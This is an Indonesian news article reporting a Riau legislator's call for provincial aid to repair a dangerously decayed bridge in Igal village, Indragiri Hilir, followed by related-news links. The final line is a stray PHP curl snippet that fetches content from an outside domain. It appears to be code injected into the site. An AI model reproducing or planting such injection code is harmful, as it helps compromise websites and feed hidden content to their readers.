H Dani Nursalam Soroti Jembatan Desa Igal Memprihatinkan Mestinya Pemprov Riau Beri Bantuan Khusus

Selasa, 19 Juli 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pekanbaru l Jejakkasus.info – Kondisi jalan di Desa Igal, Kecamatan Mandah, Kabupaten Indragiri Hilir (Inhil), Provinsi Riau mendapat sorotan dari berbagai pihak karena kondisinya yang rusak parah. Anggota DPRD Riau Dapil Indragiri Hilir Dani M Nursalam pun berharap Pemerintah Provinsi Riau memberikan bantuan keuangan khusus.

Jembatan ini viral di media sosial setelah sejumlah warga membagikannya. Benar saja, terlihat jelas kondisi jembatan itu jauh dari kata layak guna dan membahayakan masyarakat yang melewati. Banyak titik-titik lubang menganga dengan diameter besar karena material jembatan yang mulai keropos.

Jembatan hanya ditambal dengan papan kayu yang juga terlihat lapuk. Jembatan mengerikan ini merupakan akses yang digunakan warga sekitar untuk menuju desa seberang. Warga terpaksa melewati jembatan yang berbahaya ini dalam kegiatan sehari-hari.

Baca Juga:  Kapolri Beri Apresiasi Langsung ke TNI yang 'Berputar' dan Tim Gabungan Evakuasi Kapolda Jambi

Anggota DPRD Riau Dapil Indragiri Hilir Dani M Nursalam saat dikonfirmasi wartawan, mengatakan jembatan rusak di Inhil tersebut merupakan wewenang Pemerintah Kabupaten Inhil. Meski wewenang pemerintah daerah, Ia menyebutkan harus ada perhatian dari Pemerintah Provinsi (Pemprov) Riau.

Dani merekomendasikan Pemprov Riau untuk membuat kebijakan untuk memantau, serta memerhatikan perkembangan infrastruktur yang berada di luar wewenang pihak provinsi.

“Sebetulnya, yang perlu digerakkan itu, bagaimana Pemerintah Provinsi Riau itu juga ada kebijakan untuk memperhatikan infrastruktur-infrastruktur di luar pada kewenangan provinsi,” kata mantan Ketua DPRD Kabupaten Inhil tersebut, Selasa (19/7/2022).

Baca Juga:  Operasi Ketupat Krakatau 2024, Sidokkes Polres Way Kanan Kunjungi Pospam Way Tuba

Dani menjelaskan, Pemprov Riau dapat memperluas Kebijakan Bantuan Keuangan Khusus, yang selama ini hanya bergerak pada program Rumah Layak Huni.

“Tentunya melalui kebijakan bantuan keuangan khusus. Kalau selama ini bantuan keuangan khusus itu ada keluar untuk rumah layak huni. Nah, tapi untuk infrastruktur seperti jembatan, jalan, yang di luar kewenangan provinsi itukan belum ada lagi,” jelas Dani Nursalam.

Dia berharap dapat memecahkan masalah infrastruktur daerah yang tidak terjangkau oleh pihak provinsi. Ia ingin, Pemprov nisa membantu keterbatasan pihak kabupaten/kota dalam menjalankan tugas untuk memperkuat infrastruktur daerah.

Baca Juga:  Jikalahari Desak BRGM Serius Rehabilitasi Mangrove di Riau

“Makanya, kita minta Provinsi Riau ke depan ini bisa memberikan perhatian terhadap infrastruktur yang ada di kabupaten/kota. Karena kan juga keterbatasan kabupaten kota terutama Inhil dalam melakukan peningkatan infrastruktur mereka. Kan terbatas juga mereka,” kata Dani.

Dia berharap Pemprov Riau dapat mendukung permasalahan infrastruktur serupa, lebih memusatkan perhatian kepada infrastruktur daerah-daerah yang masih kurang perhatian pemerintah.

“Seperti jembatan Igal, beberapa ruas jalan kabupaten yang ada menghubungkan antara Kecamatan Keritang, Kecamatan Reteh itu kan juga perlu perhatian Pemerintah Provinsi,” jelasnya.

Marbun

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan
Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali
DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung
Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat
Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi
Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni
Musrenbang 2025 Pekon Wayngison Resmi Dibuka

Berita Terkait

Sabtu, 12 Oktober 2024 - 20:32 WIB

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara

Sabtu, 12 Oktober 2024 - 18:48 WIB

Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Jumat, 11 Oktober 2024 - 23:50 WIB

Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali

Jumat, 11 Oktober 2024 - 19:08 WIB

DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung

Jumat, 11 Oktober 2024 - 14:45 WIB

Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>